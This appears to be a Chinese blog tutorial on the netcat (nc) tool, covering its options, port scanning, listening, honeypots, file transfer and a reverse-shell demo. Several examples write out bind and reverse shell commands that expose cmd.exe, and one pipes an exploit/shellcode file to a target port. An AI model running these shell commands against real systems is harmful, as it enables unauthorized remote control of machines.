牛叉之nc命令

2022-08-30 16:33:22 字數 2573 閱讀 3914

nc是一款很不錯的網路檢測工具,以下是詳細使用。

』nc.exe -h』即可看到各引數的使用方法。

基本格式:nc [-options] hostname port [ports] …

nc -l -p port [options] [hostname] [port]

-d 後台模式

-e prog 程式重定向,一旦連線,就執行 [危險!!]

-g gateway source-routing hop point, up to 8

-g num source-routing pointer: 4, 8, 12, …

-h 幫助資訊

-i secs 延時的間隔

-l 監聽模式,用於入站連線

-l 連線關閉後,仍然繼續監聽

-n 指定數字的ip位址,不能用hostname

-o file 記錄16進製制的傳輸

-p port 本地埠號

-r 隨機本地及遠端埠

-s addr 本地源位址

-t 使用telnet互動方式

-u udp模式

-v 詳細輸出–用兩個-v可得到更詳細的內容

-w secs timeout的時間

-z 將輸入輸出關掉–用於掃瞄時

埠的表示方法可寫為m-n的範圍格式。

1)連線到遠端主機

格式:nc -nvv 192.168.x.x 80

講解:連到192.168.x.x的tcp80埠

2)監聽本地主機

格式:nc -l -p 80

講解:監聽本機的tcp80埠

3)掃瞄遠端主機

格式:nc -nvv -w2 -z 192.168.x.x 80-445

講解:掃瞄192.168.x.x的tcp80到tcp445的所有埠

4)remote主機繫結shell,例子:

格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe

講解:繫結remote主機的cmdshell在remote主機的tcp5354埠

5)remote主機繫結shell並反向連線,例子:

格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354

講解:繫結remote主機的cmdshell並反向連線到192.168.x.x的tcp5354埠

以上為最基本的幾種用法(其實nc的用法還有很多,

當配合管道命令」|」與重定向命令」」等等命令功能更強大……)。

6)作攻擊程式用,例子:

格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt

講解:連線到192.168.x.x的80埠,並在其管道中傳送』c:\exploit.txt』的內容(兩種格式確有相同的效果,真是有異曲同工之妙:p)

附:』c:\exploit.txt』為shellcode等

7)作蜜罐用[1],例子:

格式:nc -l -p 80

講解:使用』-l』(注意l是大寫)可以不停地監聽某乙個埠,直到ctrl+c為止

8)作蜜罐用[2],例子:

格式:nc -l -p 80 > c:\log.txt

講解:使用』-l』可以不停地監聽某乙個埠,直到ctrl+c為止,同時把結果輸出到』c:\log.txt』中,如果把『>』   改為『>>』即可以追加日誌

附:』c:\log.txt』為日誌等

9)作蜜罐用[3],例子:

格式1:nc -l -p 80 < c:\honeypot.txt

格式2:type.exe c:\honeypot.txt|nc -l -p 80

講解:使用』-l』可以不停地監聽某乙個埠,直到ctrl+c為止,並把』c:\honeypot.txt』的內容『送』入其管道中!

10)備份檔案

a機的資料夾 /data備份到b主機的backup.tgz

源主機: tar czf - work|nc -l -c -p 1234

目的主機: nc 192.168.0.1 1234 >a.tgz

或a:tar -zcf data|nc -l -p 4444

b:nc a 4444 >backup.tgz

傳完後ctrl+c中斷連線,這樣a主機不會生成檔案直接傳到了backup.tgz,缺點就是不知道啥時候傳完,嘿嘿

反向連線例項演示【虛擬機器伺服器反向連線到主機】:

首先將在主機中開啟nc並監聽5354埠,

然後再虛擬機器中執行通過埠5354反向連線到主機的命令

在檢視剛才的主機中的cmd視窗

反向連線完成。

nc 監聽資料 linux包之nc之nc命令

nc 1.84 22.el6.x86 64 不用系統上提供的nc版本會有所不同,其提供的引數使用方法也略有差異 nc v w 1 192.168.2.10 z 1 65535 grep succeeded 埠掃瞄 1.4 強制使用ipv4 2.6 強制使用ipv6 3.d 允許socket通訊返回d...

nc命令介紹

名字 nc 連線 監聽任意的tcp和udp。概要 nc 46ddhklnrstuuvzc i 間隔 p 源埠 s 源ip位址 t 服務型別 w 超時時間 x 協議 x 位址 埠 主機名 埠 s 詳細說明 nc netcat 的功能使用是涉及到tcp或者udp的時候。它可以開啟tcp連線,傳送udp包...

nc命令說明

一,什麼是nc nc是netcat的簡寫,因為它短小精悍 功能實用,被設計為乙個簡單 可靠的網路工具 二,nc的作用 1 實現任意tcp udp埠的偵聽,nc可以作為server以tcp或udp方式偵聽指定埠 2 埠的掃瞄,nc可以作為client發起tcp或udp連線 3 機器之間傳輸檔案 4 機...